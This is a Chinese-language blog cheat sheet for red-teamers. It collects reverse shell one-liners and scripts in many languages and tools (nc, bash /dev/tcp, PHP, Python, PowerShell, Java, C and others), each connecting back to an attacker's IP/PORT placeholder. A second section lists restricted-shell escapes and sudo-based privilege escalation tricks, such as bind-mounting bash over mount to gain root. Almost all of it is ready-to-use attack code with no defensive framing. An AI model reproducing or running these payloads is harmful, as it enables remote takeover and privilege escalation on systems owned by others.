前言
建议直接复制粘贴到笔记,或点赞收藏,因为时常会用到,这是整理的一些常见的反向shell和特权提升的笔记文档,红队成员必会!
最全。
反向shell-备忘录
通常在获得远程代码执行之后,我们希望获得一些交互式访问—而不是发出单个命令获取单个回显或与 web shell 交互,从实战的意义来讲,反弹shell是非常有必要的,以下将从不同的工具出发
nc
listen:
代码语言:javascript复制nc -nlvp PORT
connect:
代码语言:javascript复制nc -e /bin/sh IP PORT
or
代码语言:javascript复制nc -c sh IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
socat
listen:
代码语言:javascript复制socat tcp-listen:PORT -
connect:
代码语言:javascript复制socat exec:/bin/sh tcp:IP:PORT
交互式版本
listen:
代码语言:javascript复制socat file:`tty`,raw,echo=0 tcp-listen:PORT
connect:
代码语言:javascript复制socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:IP:PORT
ncat
listen:
代码语言:javascript复制ncat --allow IP -vnl PORT --ssl
connect:
代码语言:javascript复制ncat --exec /bin/sh --ssl IP PORT
sbd
listen:
代码语言:javascript复制sbd -lp PORT
connect:
代码语言:javascript复制sbd -e /bin/sh HOST PORT
加密版版本
listen:
代码语言:javascript复制sbd -l -c on -k ENCRYPTION_PHRASE -p PORT
connect:
代码语言:javascript复制sbd -k ENCRYPTION_PHRASE -e /bin/sh HOST PORT
bash
TCP
代码语言:javascript复制bash -i >& /dev/tcp/IP/PORT 0>&1
or
代码语言:javascript复制bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
使用工具nc udp协议:
代码语言:javascript复制nc -u -lvp PORT
connect:
代码语言:javascript复制sh -i >& /dev/udp/IP/PORT 0>&1
php
简单的php代码版本:
代码语言:javascript复制php -r '$sock=fsockopen("IP", PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
完整的 PHP 脚本,带有指定要连接的 IP 地址和端口的表单:
代码语言:javascript复制<?php
if (empty($_POST['i']) && empty($_POST['p'])) {
echo "IP address and port not specified!";
}
else
{
$ip = $_POST["i"];
$port = $_POST["p"];
$shell = 'uname -a; w; id; /bin/sh -i';
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$process = null;
$pipes = null;
$errno = "";
$errstr = "";
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell";
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(!feof($sock) && !feof($pipes[1])) {
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
?>
<html>
<body>
<form method="post">
<input type="text" name="i" />
<input type="text" name="p" />
<input type="submit" />
</form>
</body>
</html>
Perl
代码语言:javascript复制perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
python脚本版本:
代码语言:javascript复制#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP", PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
或从命令行使用python -c
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
Ruby
代码语言:javascript复制#!/usr/bin/ruby
require 'socket';
c=TCPSocket.new('IP', PORT)
$stdin.reopen(c)
$stdout.reopen(c)
$stderr.reopen(c)
$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }
或作为单行:
代码语言:javascript复制ruby -rsocket -e'f=TCPSocket.open("IP", PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Golang
使用源代码创建文件,运行然后删除源文件:
代码语言:javascript复制package main;
import"os/exec";
import"net";
func main() {
c, _ := net.Dial("tcp","IP:PORT");
cmd := exec.Command("/bin/sh");
cmd.Stdin=c;
cmd.Stdout = c;
cmd.Stderr = c;
cmd.Run()
}
保存文件,例如test.go,构建并运行:go run test.go
或者直接命令行
代码语言:javascript复制echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/rev.go && go run /tmp/test.go && rm /tmp/test.go
Powershell
代码语言:javascript复制$address = 'IP'
$port = 'PORT'
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\windows\system32\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.RedirectStandardError = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out = $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos =$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out = $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}
或作为单行:
代码语言:javascript复制powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP', PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback 'PS ' (pwd).Path '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nodejs
创建一个js文件
代码语言:javascript复制var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(PORT, "IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
or
代码语言:javascript复制require("child_process").exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
or
代码语言:javascript复制var x = global.process.mainModule.require
x('child_process').exec('nc IP PORT -e /bin/bash')
然后运行:
代码语言:javascript复制nodejs rev.js
或者直接执行命令
代码语言:javascript复制nodejs -e "require('child_process').exec('nc -e /bin/sh IP PORT')"
没有nc版本:
代码语言:javascript复制nodejs -e "require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')"
openssl
listen:
代码语言:javascript复制openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port PORT
connect:
代码语言:javascript复制mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect IP:PORT > /tmp/s; rm /tmp/s
Awk
连接到监听器,然后关闭反向shell进入exit
代码语言:javascript复制awk 'BEGIN {s = "/inet/tcp/0/IP/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Lua
代码语言:javascript复制lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Java
Linux
代码语言:javascript复制import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;
public class Rev {
public static void main(String[] args) {
String host="IP";
int port=PORT;
String cmd="/bin/sh";
try {
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
} catch (Exception e) {}
}
}
Windows
代码语言:javascript复制import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;
public class Rev {
public static void main(String[] args) {
String host="IP";
int port=PORT;
String cmd="cmd.exe";
try {
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
} catch (Exception e) {}
}
}
Groovy
Linux
代码语言:javascript复制String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();
命令行执行:
代码语言:javascript复制groovy -e 'String host="IP";int port=PORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
或者去通过线程去执行:
代码语言:javascript复制Thread.start {
String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();break;
}
catch (Exception e){}
};
p.destroy();
s.close();
}
Windows
代码语言:javascript复制String host="IP";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}catch (Exception e){}
};
p.destroy();
s.close();
一行搞定:
代码语言:javascript复制groovy -e 'String host="IP";int port=PORT;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
C
创建一个文件
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = PORT;
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh", NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("IP");
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
dup2(sockfd, 0);
dup2(0, 1);
dup2(0, 2);
execve("/bin/sh", params, environ);
}
shell-逃跑指南
Vim
代码语言:javascript复制:sh
:!/bin/bash
rVim
代码语言:javascript复制rvim --cmd ":py import os;os.system('/bin/bash')"
or
代码语言:javascript复制:python import os; os.system("/bin/bash")
nano / pico
直接运行nano:
代码语言:javascript复制bashnano -s /bin/bash
在文本内容编辑:
代码语言:javascript复制/bin/bash
按下Ctrl-T
运行拼写检查
man, less, more
代码语言:javascript复制!shell
!/bin/bash
Awk
代码语言:javascript复制awk 'BEGIN {system("/bin/sh")}'
find
代码语言:javascript复制find /dev/zero -exec /bin/bash ;
rbash
bash < 4.4
代码语言:javascript复制BASH_CMDS[poop]=/bin/bash;poop
文件读取:
代码语言:javascript复制$(< ../../etc/passwd)
要么
代码语言:javascript复制mapfile ARRAY < ../../etc/passwd ARRAY
echo $ARRAY
通过以下方式连接时不加载配置文件ssh
:
ssh user@IP-ADDRESS -t "bash --noprofile"
Python
代码语言:javascript复制python
echo os.system('/bin/bash')
MySQL client
代码语言:javascript复制mysql>! bash
bash>
gdb
代码语言:javascript复制(gdb) ! id
(gdb) ! /bin/bash
(gdb) shell id
Netcat, ncat
代码语言:javascript复制nc -vlp PORT -e /bin/bash
nc HOST PORT
Nmap
代码语言:javascript复制nmap --script <(echo 'os.execute("/bin/sh")')
通过脚本
代码语言:javascript复制nmap --script /tmp/script.nse
script.nse
内容为
os.execute("id")
tcpdump
代码语言:javascript复制cat <<EOF> shell.sh
#!/bin/bash
/bin/bash
EOF
chmod x shell.sh
sudo tcpdump -G 1 -z ./shell.sh -w 1.pcap
在读取文件时执行脚本,内容为test.sh
:
#!/bin/sh
id
创建test.pcap
大于 1MB 的文件,运行tcpdump
:
tcpdump -r /tmp/test.pcap -C 1 -w /dev/null -z /tmp/test.sh
tar
代码语言:javascript复制tar c --checkpoint=1 --checkpoint-action=exec=bash a a.tar
zip
代码语言:javascript复制zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
strace
代码语言:javascript复制strace -o/dev/null /bin/bash
except
代码语言:javascript复制except spawn sh then sh
SCP
代码语言:javascript复制cat >/tmp/shell.sh <<EOF
/bin/bash >&2 0>&2
EOF
chmod x shell.sh
scp -S /tmp/shell.sh x y:
ssh
代码语言:javascript复制ssh -o ProxyCommand=/tmp/shell.sh localhost
git
代码语言:javascript复制git -c core.pager=/tmp/shell.sh --paginate help
or
代码语言:javascript复制git commit
或使用rebase
git rebase --exec "COMMAND" master
或者:
代码语言:javascript复制git rebase -ix "COMMAND" master
script
代码语言:javascript复制script -c /bin/bash /tmp/a
mount
代码语言:javascript复制user@host:~$ sudo mount -o bind /bin/bash /bin/mount
user@host:~$ sudo mount
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
仅限 GNU 版本:
代码语言:javascript复制sudo mail --exec='!/bin/sh'
其他:
代码语言:javascript复制sudo -u USER mail -u USER -s xxxx aaa
~!id
sqlite
代码语言:javascript复制sqlite3 /dev/null '.shell /bin/sh'
通过加载扩展:
代码语言:javascript复制#include <unistd.h>
void main()
{
execl("/bin/sh", NULL);
}
编译为.so
:
gcc -g -fPIC -shared /tmp/shell.c -o /tmp/shell.so
sqlite
在shell中加载扩展:
sqlite> .load /tmp/shell.so main
socat
代码语言:javascript复制socat file:/bin/sh file:sh,create,perm=4755 > /dev/null
./sh
or
代码语言:javascript复制socat exec:/bin/sh -
apt-get / apt / aptitude
a:
代码语言:javascript复制apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"
b:
代码语言:javascript复制sudo apt-get changelog apt
!/bin/sh
openssl
读取文件:
代码语言:javascript复制openssl enc -in test.txt
写文件:
代码语言:javascript复制LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
或者
代码语言:javascript复制LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
openssl enc -in "$TF" -out "$LFILE"
Python
代码语言:javascript复制>>> import pty
>>> pty.spawn('/bin/bash')
or
代码语言:javascript复制>>> import os
>>> os.system('ls')
>>> os.system('/bin/bash')
Ruby
代码语言:javascript复制ruby -e 'exec "/bin/sh"'
or
代码语言:javascript复制irb
irb(main):001:0> exec '/bin/bash'
Perl
代码语言:javascript复制perl -e 'exec "/bin/sh";'
Lua
代码语言:javascript复制os.execute('/bin/sh')
或者
代码语言:javascript复制lua -e 'os.execute("/bin/sh")'